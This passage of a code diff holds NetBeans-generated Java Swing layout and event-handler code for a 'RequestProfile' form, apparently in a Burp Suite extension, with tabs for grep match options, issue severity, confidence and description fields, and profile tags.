jLabel25 = new javax.swing.JLabel(); + jLabel30 = new javax.swing.JLabel(); + jLabel31 = new javax.swing.JLabel(); + jSeparator6 = new javax.swing.JSeparator(); + jScrollPane14 = new javax.swing.JScrollPane(); + table4 = new javax.swing.JTable(); + button18 = new javax.swing.JButton(); + button10 = new javax.swing.JButton(); + button7 = new javax.swing.JButton(); + button19 = new javax.swing.JButton(); + button8 = new javax.swing.JButton(); + textgreps = new javax.swing.JTextField(); + jLabel1 = new javax.swing.JLabel(); + jLabel5 = new javax.swing.JLabel(); + jScrollPane10 = new javax.swing.JScrollPane(); + jPanel12 = new javax.swing.JPanel(); + jLabel32 = new javax.swing.JLabel(); + jLabel33 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jLabel4 = new javax.swing.JLabel(); + radio5 = new javax.swing.JRadioButton(); + radio6 = new javax.swing.JRadioButton(); + radio7 = new javax.swing.JRadioButton(); + radio8 = new javax.swing.JRadioButton(); + jLabel7 = new javax.swing.JLabel(); + radio9 = new javax.swing.JRadioButton(); + radio10 = new javax.swing.JRadioButton(); + radio11 = new javax.swing.JRadioButton(); + text4 = new javax.swing.JTextField(); + jSeparator7 = new javax.swing.JSeparator(); + jLabel34 = new javax.swing.JLabel(); + jLabel35 = new javax.swing.JLabel(); + jScrollPane7 = new javax.swing.JScrollPane(); + textarea2 = new javax.swing.JTextArea(); + jLabel13 = new javax.swing.JLabel(); + jLabel36 = new javax.swing.JLabel(); + jLabel37 = new javax.swing.JLabel(); + jSeparator8 = new javax.swing.JSeparator(); + jLabel38 = new javax.swing.JLabel(); + jLabel39 = new javax.swing.JLabel(); + jSeparator9 = new javax.swing.JSeparator(); + jScrollPane1 = new javax.swing.JScrollPane(); + textarea1 = new javax.swing.JTextArea(); + jLabel9 = new javax.swing.JLabel(); + jScrollPane8 = new javax.swing.JScrollPane(); + textarea3 = new javax.swing.JTextArea(); + jLabel14 = new javax.swing.JLabel(); + jLabel40 = new javax.swing.JLabel(); + jLabel41 = new javax.swing.JLabel(); + jSeparator10 = new javax.swing.JSeparator(); + jScrollPane9 = new javax.swing.JScrollPane(); + textarea4 = new javax.swing.JTextArea(); + jLabel15 = new javax.swing.JLabel(); + jPanel3 = new javax.swing.JPanel(); + removetag = new javax.swing.JButton(); + addTag = new javax.swing.JButton(); + newTagCombo = new javax.swing.JComboBox<>(); + jScrollPane11 = new javax.swing.JScrollPane(); + listtag = new javax.swing.JList<>(); + jLabel46 = new javax.swing.JLabel(); + jLabel47 = new javax.swing.JLabel(); + newTagb = new javax.swing.JButton(); + + setPreferredSize(new java.awt.Dimension(800, 500)); + + text1.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + + jLabel18.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + jLabel18.setText("Author:"); + + jLabel12.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + jLabel12.setText("Name:"); + + textauthor.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + + headerstab.setAutoscrolls(true); + headerstab.setFont(new java.awt.Font("Lucida Grande", 0, 14)); // NOI18N + headerstab.setPreferredSize(new java.awt.Dimension(800, 550)); + headerstab.addChangeListener(new javax.swing.event.ChangeListener() { + public void stateChanged(javax.swing.event.ChangeEvent evt) { + headerstabStateChanged(evt); + } + }); + + jScrollPane6.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + jScrollPane6.getVerticalScrollBar().setUnitIncrement(20); + + jPanel11.setAutoscrolls(true); + jPanel11.setPreferredSize(new java.awt.Dimension(1008, 500)); + + buttonGroup3.add(radio4); + radio4.setText("Simple string"); + radio4.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radio4stringMatchType(evt); + } + }); + + buttonGroup3.add(radio3); + radio3.setText("Regex"); + radio3.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + radio3regexMatchType(evt); + } + }); + + check4.setText("Negative match"); + + check1.setText("Case sensitive"); + + jLabel24.setText("You can define one or more greps."); + + jLabel25.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel25.setForeground(new java.awt.Color(255, 102, 51)); + jLabel25.setText("Grep"); + + jLabel30.setText("These settings can be used to specify grep options of your profile."); + + jLabel31.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel31.setForeground(new java.awt.Color(255, 102, 51)); + jLabel31.setText("Grep Options"); + + table4.setFont(new java.awt.Font("Lucida Grande", 0, 13)); // NOI18N + table4.setModel(modelgrep); + table4.setShowGrid(false); + jScrollPane14.setViewportView(table4); + + button18.setText("Remove"); + button18.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button18removeMatchReplace(evt); + } + }); + + button10.setText("Clear"); + button10.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button10removeAllGrep(evt); + } + }); + + button7.setText("Paste"); + button7.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button7pasteGrep(evt); + } + }); + + button19.setText("Add"); + button19.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button19addGrep(evt); + } + }); + + button8.setText("Load File"); + button8.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + button8loadGrep(evt); + } + }); + + jLabel1.setText("Match Type: "); + + jLabel5.setText(" * More info about insertion points at Burp Suite Extender API"); + jLabel5.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + goweb(evt); + } + }); + + javax.swing.GroupLayout jPanel11Layout = new javax.swing.GroupLayout(jPanel11); + jPanel11.setLayout(jPanel11Layout); + jPanel11Layout.setHorizontalGroup( + jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(button8, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button10, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button18, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button7, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button19, javax.swing.GroupLayout.PREFERRED_SIZE, 89, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, Short.MAX_VALUE) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(textgreps, javax.swing.GroupLayout.PREFERRED_SIZE, 651, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jScrollPane14, javax.swing.GroupLayout.PREFERRED_SIZE, 649, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(238, Short.MAX_VALUE)) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel25) + .addComponent(jLabel24, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel31) + .addComponent(jLabel30, javax.swing.GroupLayout.PREFERRED_SIZE, 769, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(check4) + .addComponent(check1) + .addGroup(jPanel11Layout.createSequentialGroup() + .addGap(9, 9, 9) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addComponent(jLabel1) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio4) + .addComponent(radio3))) + .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))) + .addComponent(jSeparator6) + ); + jPanel11Layout.setVerticalGroup( + jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel11Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel25) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel24) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(textgreps, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(button8)) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addGroup(jPanel11Layout.createSequentialGroup() + .addComponent(button19) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button10) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(button18)) + .addComponent(jScrollPane14, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(radio4) + .addComponent(jLabel1)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio3) + .addGap(30, 30, 30) + .addComponent(jLabel5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(jSeparator6, javax.swing.GroupLayout.PREFERRED_SIZE, 3, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(jLabel31) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel30) + .addGap(18, 18, 18) + .addComponent(check4) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(check1) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + JScrollPane responseresScroll = new JScrollPane(jPanel11, + JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); + + jScrollPane6.setViewportView(jPanel11); + + headerstab.addTab(" Request ", jScrollPane6); + + jScrollPane10.getVerticalScrollBar().setUnitIncrement(20); + + jPanel12.setAutoscrolls(true); + + jLabel32.setText("You can define the issue properties."); + + jLabel33.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel33.setForeground(new java.awt.Color(255, 102, 51)); + jLabel33.setText("Issue Properties"); + + jLabel3.setText("Issue Name:"); + + jLabel4.setText("Severity:"); + + buttonGroup5.add(radio5); + radio5.setText("High"); + + buttonGroup5.add(radio6); + radio6.setText("Medium"); + + buttonGroup5.add(radio7); + radio7.setText("Low"); + + buttonGroup5.add(radio8); + radio8.setText("Information"); + + jLabel7.setText("Confidence:"); + + buttonGroup6.add(radio9); + radio9.setText("Certain"); + + buttonGroup6.add(radio10); + radio10.setText("Firm"); + + buttonGroup6.add(radio11); + radio11.setText("Tentative"); + + jLabel34.setText("You can define the issue details."); + + jLabel35.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel35.setForeground(new java.awt.Color(255, 102, 51)); + jLabel35.setText("Issue Detail"); + + textarea2.setColumns(20); + textarea2.setRows(5); + jScrollPane7.setViewportView(textarea2); + + jLabel13.setText("Description:"); + + jLabel36.setText("You can define the issue background."); + + jLabel37.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel37.setForeground(new java.awt.Color(255, 102, 51)); + jLabel37.setText("Issue Background"); + + jLabel38.setText("You can define the remediation detail."); + + jLabel39.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel39.setForeground(new java.awt.Color(255, 102, 51)); + jLabel39.setText("Remediation Detail"); + + textarea1.setColumns(20); + textarea1.setRows(5); + jScrollPane1.setViewportView(textarea1); + + jLabel9.setText("Description:"); + + textarea3.setColumns(20); + textarea3.setRows(5); + jScrollPane8.setViewportView(textarea3); + + jLabel14.setText("Description:"); + + jLabel40.setText("You can define the remediation background."); + + jLabel41.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel41.setForeground(new java.awt.Color(255, 102, 51)); + jLabel41.setText("Remediation Background"); + + textarea4.setColumns(20); + textarea4.setRows(5); + jScrollPane9.setViewportView(textarea4); + + jLabel15.setText("Description:"); + + javax.swing.GroupLayout jPanel12Layout = new javax.swing.GroupLayout(jPanel12); + jPanel12.setLayout(jPanel12Layout); + jPanel12Layout.setHorizontalGroup( + jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jSeparator7) + .addComponent(jSeparator8, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jSeparator9, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jSeparator10, javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel33) + .addComponent(jLabel35) + .addComponent(jLabel34) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel13) + .addGap(18, 18, 18) + .addComponent(jScrollPane7, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel9) + .addGap(18, 18, 18) + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel15) + .addGap(18, 18, 18) + .addComponent(jScrollPane9, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel14) + .addGap(18, 18, 18) + .addComponent(jScrollPane8, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(jLabel37) + .addComponent(jLabel36) + .addComponent(jLabel39) + .addComponent(jLabel38) + .addComponent(jLabel32) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 73, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(radio8) + .addGap(189, 189, 189)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio6) + .addComponent(radio7) + .addComponent(radio5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jLabel7) + .addGap(18, 18, 18) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio9) + .addComponent(radio11) + .addComponent(radio10))))) + .addComponent(text4, javax.swing.GroupLayout.PREFERRED_SIZE, 419, javax.swing.GroupLayout.PREFERRED_SIZE))))) + .addComponent(jLabel41) + .addComponent(jLabel40)) + .addContainerGap(120, Short.MAX_VALUE)) + ); + jPanel12Layout.setVerticalGroup( + jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel33) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel32) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel3) + .addComponent(text4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel7) + .addComponent(radio9)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio10) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio11)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel4) + .addComponent(radio5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio6) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio8))) + .addGap(18, 18, 18) + .addComponent(jSeparator7, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel35) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel34) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel9) + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator8, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel37) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel36) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel13) + .addComponent(jScrollPane7, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator9, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel39) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel38) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel15) + .addComponent(jScrollPane9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator10, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel41) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel40) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel14) + .addComponent(jScrollPane8, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + jScrollPane10.setViewportView(jPanel12); + + headerstab.addTab(" Issue ", jScrollPane10); + + removetag.setText("Remove"); + removetag.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + removetag(evt); + } + }); + + addTag.setText("Add"); + addTag.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addTag(evt); + } + }); + + listtag.setModel(tag); + jScrollPane11.setViewportView(listtag); + + jLabel46.setText("You can define one or multiple tags for this profile."); + + jLabel47.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel47.setForeground(new java.awt.Color(255, 102, 51)); + jLabel47.setText("Set Tags"); + + newTagb.setText("New Tag"); + newTagb.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + newTagbnewTag(evt); + } + }); + + javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3); + jPanel3.setLayout(jPanel3Layout); + jPanel3Layout.setHorizontalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel47) + .addComponent(jLabel46) + .addGroup(jPanel3Layout.createSequentialGroup() + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(newTagb, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(addTag, javax.swing.GroupLayout.PREFERRED_SIZE, 93, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(removetag, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGap(18, 18, 18) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jScrollPane11) + .addComponent(newTagCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 468, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel3Layout.setVerticalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel47) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel46) + .addGap(25, 25, 25) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane11, javax.swing.GroupLayout.PREFERRED_SIZE, 99, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel3Layout.createSequentialGroup() + .addComponent(newTagb) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(removetag))) + .addGap(18, 18, 18) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(newTagCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(addTag)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + headerstab.addTab(" Tags ", jPanel3); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel12) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(text1) + .addGap(18, 18, 18) + .addComponent(jLabel18) + .addGap(18, 18, 18) + .addComponent(textauthor, javax.swing.GroupLayout.PREFERRED_SIZE, 217, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + .addComponent(headerstab, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(text1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel12) + .addComponent(textauthor, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel18)) + .addGap(18, 18, 18) + .addComponent(headerstab, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + }// //GEN-END:initComponents + + private void removetag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removetag + int selectedIndex = listtag.getSelectedIndex(); + if (selectedIndex != -1) { + tag.remove(selectedIndex); + } + }//GEN-LAST:event_removetag + + private void addTag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addTag + tag.addElement(newTagCombo.getSelectedItem()); + }//GEN-LAST:event_addTag + + private void newTagbnewTag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_newTagbnewTag + Integer result; + NewTag nt = new NewTag(); + JOptionPane jopane1 = new JOptionPane(nt, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + JDialog dialog = jopane1.createDialog(this, "New Tag"); + dialog.setLocationRelativeTo(null); + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + addNewTag(nt.newTagtext.getText()); + showTags(); + } + } + }//GEN-LAST:event_newTagbnewTag + + private void headerstabStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_headerstabStateChanged + int activePane = headerstab.getSelectedIndex(); + if (activePane == 3) { + showTags(); + } + }//GEN-LAST:event_headerstabStateChanged + + private void goweb(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_goweb + try { + Desktop.getDesktop().browse(new URI("https://portswigger.net/burp/extender/api/burp/IParameter.html")); + } catch (URISyntaxException | IOException e) { + callbacks.printError("RequestProfile line 1094: " + "Help web not opened: " + e); + } + }//GEN-LAST:event_goweb + + private void button19addGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button19addGrep + + modelgrep.addRow(new Object[]{true, "Or", "All Request", "Name", "Change me"}); + }//GEN-LAST:event_button19addGrep + + private void button7pasteGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button7pasteGrep + String element = getClipboardContents(); + List lines = Arrays.asList(element.split("\n")); + showGreps(lines); + }//GEN-LAST:event_button7pasteGrep + + private void button10removeAllGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button10removeAllGrep + int rowCount = modelgrep.getRowCount(); + for (int i = rowCount - 1; i >= 0; i--) { + modelgrep.removeRow(i); + } + }//GEN-LAST:event_button10removeAllGrep + + private void button18removeMatchReplace(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button18removeMatchReplace + int[] rows = table4.getSelectedRows(); + Arrays.sort(rows); + for (int i = rows.length - 1; i >= 0; i--) { + int row = rows[i]; + int modelRow = table4.convertRowIndexToModel(row); + modelgrep.removeRow(modelRow); + } + }//GEN-LAST:event_button18removeMatchReplace + + private void radio3regexMatchType(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radio3regexMatchType + + }//GEN-LAST:event_radio3regexMatchType + + private void radio4stringMatchType(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radio4stringMatchType + + }//GEN-LAST:event_radio4stringMatchType + + private void button8loadGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button8loadGrep + loadGrepsFile(modelgrep); + }//GEN-LAST:event_button8loadGrep + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton addTag; + private javax.swing.JButton button10; 